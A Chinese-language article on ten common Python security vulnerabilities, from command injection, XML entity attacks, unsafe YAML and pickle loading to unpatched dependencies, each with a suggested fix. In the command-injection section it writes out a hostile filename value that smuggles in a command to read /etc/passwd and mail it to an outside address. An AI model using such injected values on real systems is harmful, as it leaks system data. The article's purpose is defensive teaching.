在寫代碼的過程中,我們的總會遇見各式各樣的大坑小坑。Python也不例外,在使用模塊或框架時(shí),也存在著許多糟糕的實(shí)例。然而,許多 Python 開發(fā)人員卻根本不知道這些。
以下是小編在使用Python中總結(jié)的10個(gè)最常見的安全漏洞以及如何修復(fù)漏洞的方法。
注入攻擊是最廣泛的,注入的種類又很多種,它們影響所有的語言、框架和環(huán)境。
SQL 注入是直接編寫 SQL 查詢時(shí)將字符串與變量混合。有一種“引號字符轉(zhuǎn)義”被認(rèn)為是一種修復(fù),但并非如此,可以通過這個(gè)鏈接(https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)查看 SQL 注入所有可能發(fā)生的方式。
命令注入有可能在使用 popen、subprocess、os.system 調(diào)用一個(gè)進(jìn)程并從變量中獲取參數(shù)時(shí)發(fā)生,當(dāng)調(diào)用本地命令時(shí),有人可能會將某些值設(shè)置為惡意值。
下面是個(gè)簡單的腳本(鏈接:https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html),使用用戶提供的文件名調(diào)用子進(jìn)程:
攻擊者會將filename的值設(shè)置為“; cat /etc/passwd | mail them@domain.com或者其他同樣危險(xiǎn)的值。
修復(fù)方法:
如果你使用了 Web 框架,可以用附帶的實(shí)用程序?qū)斎脒M(jìn)行清理,除非有充分的理由,否則不要手動構(gòu)建 SQL 查詢,大多數(shù) ORM 都有內(nèi)置的清理方法。
對于 shell,可以使用 shlex 模塊正確地轉(zhuǎn)義輸入。
如果您的應(yīng)用程序加載并解析XML文件,可能您正在使用一個(gè)XML標(biāo)準(zhǔn)庫模塊。有一些針對XML的常見攻擊。大多數(shù)為DoS風(fēng)格(旨破壞系統(tǒng)而不是盜取數(shù)據(jù))。這些攻擊很常見,特別是在解析外部(即不可信任的)XML文件時(shí)。
其中一種攻擊為“billion laughs”,因?yàn)榧虞d的文件包含了很多個(gè)(數(shù)十億)“l(fā)ols”。你可以加載XML實(shí)體文件,當(dāng)XML解析器試圖將這個(gè)XML文件加載到內(nèi)存中時(shí),會消耗很多個(gè)G的內(nèi)存。
另一種攻擊使用外部實(shí)體擴(kuò)展。 XML支持從外部URL引用實(shí)體,XML解析器通常會直接獲取并加載該資源。“攻擊者可以繞開防火墻訪問保密資源,因?yàn)樗姓埱蠖际怯蓛?nèi)部可信的IP地址創(chuàng)建的,請求不是來自于外部?!?/p>
需要考慮的另一種情況是您要依賴于第三方軟件包來解碼XML,例如配置文件,遠(yuǎn)程API。您甚至不知道您的某個(gè)依賴包已經(jīng)暴露在攻擊之下。
那么在Python中會發(fā)生什么?標(biāo)準(zhǔn)庫模塊etree,DOM,xmlrpc都容易遭受這些類型的攻擊。詳情參考此鏈接: https://docs.python.org/3/library/xml.html#xml-vulnerabilities
修復(fù)方法:
直接用defusedxml(鏈接:https://pypi.org/project/defusedxml/)替換標(biāo)準(zhǔn)庫模塊。它增加了針對這類攻擊的安全防護(hù)。
不要使用 assert 語句來防止用戶訪問特定代碼段。例如:
默認(rèn)的情況下,Python 以debug為true來執(zhí)行腳本,但在真實(shí)環(huán)境中,通常使用優(yōu)化運(yùn)行,這將會跳過 assert 語句并直接轉(zhuǎn)到安全代碼,而不管用戶是否是 is_admin 。
修復(fù)方法:
僅在單元測試中使用 assert 語句。
計(jì)時(shí)攻擊本質(zhì)上是一種通過計(jì)算比較提供值所需時(shí)間來暴露行為和算法的方式。計(jì)時(shí)攻擊需要精確性,所以通常不能用于高延遲的遠(yuǎn)程網(wǎng)絡(luò)。由于大多數(shù) Web 應(yīng)用程序涉及可變延遲,因此幾乎不可能針對 HTTP Web 服務(wù)器編寫計(jì)時(shí)攻擊。
但是,如果你的應(yīng)用程序有提示輸入密碼的命令行,攻擊者就可以編寫一個(gè)簡單的腳本來計(jì)算將其值與實(shí)際密碼進(jìn)行比較所需的時(shí)間。例子參考鏈接:http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/
這里有一個(gè)基于SSH計(jì)時(shí)攻擊的Python 工具,你可以看看如何使用它。鏈接:https://github.com/c0r3dump3d/osueta
修復(fù)方法:
使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值。
Python的導(dǎo)入系統(tǒng)非常靈活。當(dāng)你為測試程序編寫猴子補(bǔ)丁,或者重載核心函數(shù)時(shí),你會感覺非常方便。
但這也是Python最大的安全漏洞之一。
將第三方包安裝到site-packages中,無論是在虛擬環(huán)境中還是在全局site-packages中,你都將暴露在安全風(fēng)險(xiǎn)中。
有一些發(fā)布到PyPi的包與流行的包具有相似的名稱,但是卻執(zhí)行了任意代碼。幸運(yùn)的是,這很可能沒有太大危害,只會“明確表示”這個(gè)問題沒有得到真正的解決。
需要考慮的另一種情況是多層依賴包。它們可能包含漏洞,它們也可以通過導(dǎo)入系統(tǒng)重寫Python默認(rèn)行為。
修復(fù)方法:
你可以利用PyUp.io這個(gè)網(wǎng)站提供的工具檢查你的第三方包。使用虛擬環(huán)境,確保您的全局site-packages盡可能干凈。檢查包簽名。
要在 Python 中創(chuàng)建臨時(shí)文件,你通常會使用 mktemp ( )函數(shù)生成一個(gè)文件名,然后使用該名稱創(chuàng)建一個(gè)文件。 “這是不安全的,因?yàn)榱硪粋€(gè)進(jìn)程可能會在調(diào)用 mktemp ( )和隨后嘗試通過第一個(gè)進(jìn)程創(chuàng)建文件之間的空隙創(chuàng)建一個(gè)同名文件?!边@意味著應(yīng)用程序可能加載錯(cuò)誤的數(shù)據(jù)或暴露其他的臨時(shí)數(shù)據(jù)。
如果調(diào)用不正確,最新版本的 Python 會發(fā)出運(yùn)行警告。
修復(fù)方法:
如果需要生成臨時(shí)文件,請使用 tempfile 模塊并使用 mkstemp。(參考鏈接:https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)
這里引用 PyYAML 的說明文檔:
警告:使用不可信源的數(shù)據(jù)調(diào)用 yaml.load 是不安全的! yaml.load 和pickle.load 一樣強(qiáng)大,所以可以調(diào)用任何 Python 函數(shù)。
在流行的Python項(xiàng)目 Ansible 中找到的這樣一個(gè)例子(鏈接:https://www.talosintelligence.com/reports/TALOS-2017-0305),你可以將此值提供給 Ansible Vault作為(有效的)YAML,它使用文件中提供的參數(shù)調(diào)用 os.system。
所以,從用戶提供的值中加載 YAML 文件會讓應(yīng)用大門洞開,很容易遭受攻擊。
修復(fù)方法:
總是使用 yaml.safe_load,除非你有其它更好的方法。
用pickle反序列化數(shù)據(jù)和YAML一樣糟糕。在pickle對象時(shí),Python類可以聲明一個(gè)名為reduce的魔術(shù)方法,該方法返回一個(gè)字符串、或一個(gè)元組。攻擊者可以使用它來引用其中一個(gè)子進(jìn)程模塊,在主機(jī)上運(yùn)行任意命令。
這有一個(gè)在Python2中pickle一個(gè)類并打開shell的例子(鏈接:https://blog.nelhage.com/2011/03/exploiting-pickle/)。更多利用pickle漏洞的方法請看這個(gè)鏈接:https://lincolnloop.com/blog/playing-pickle-security/
修復(fù)方法:
切勿用pickle反序列化不受信任或未經(jīng)身份驗(yàn)證的數(shù)據(jù)。改用另一種序列化模式,如JSON。
大多數(shù)可移植操作系統(tǒng)都自帶Python2,通常還是舊版本。
由于“Python”,即CPython是用C語言編寫的,所以Python解釋器本身存在漏洞。 C語言中常見的安全問題與內(nèi)存分配有關(guān),所以存在緩沖區(qū)溢出錯(cuò)誤。
多年來CPython出現(xiàn)了多個(gè)溢出漏洞,每個(gè)漏洞都在后續(xù)版本中進(jìn)行了修復(fù)。
也就是說,如果你修補(bǔ)了Python本身的漏洞,你就是安全的。
這里有一個(gè)Python2.7.13及以下版本的整數(shù)溢出漏洞實(shí)例,鏈接:https://www.cvedetails.com/cve/CVE-2017-1000158/。 Ubuntu17以前版本的Python漏洞請參看鏈接:https://distrowatch.com/table.php?distribution=ubuntu
修復(fù)方法:
安裝最新版本的Python并及時(shí)修補(bǔ)漏洞。
類似于修補(bǔ)Python本身的漏洞,您還需要定期修補(bǔ)依賴包漏洞。有人習(xí)慣于使用PyPi軟件包的“固定”版本,這種做法很可怕。他們認(rèn)為“這些是有用的版本”,所以每個(gè)人都對漏洞置若罔聞。
上面提到的所有漏洞如果存在于你使用的包中,它們同樣很致命。這些軟件包的開發(fā)人員無時(shí)不刻不在解決安全問題。
修復(fù)方法:
使用類似于PyUP.io這個(gè)網(wǎng)站提供的服務(wù)去檢查更新,向應(yīng)用程序發(fā)送pull/merge 請求,運(yùn)行測試,讓軟件包保持更新。使用InSpec這樣的工具(鏈接:https://www.inspec.io/docs/reference/resources/pip/)來驗(yàn)證真實(shí)環(huán)境中的安裝版本,并確保修補(bǔ)了最小版本或多個(gè)連續(xù)版本的漏洞。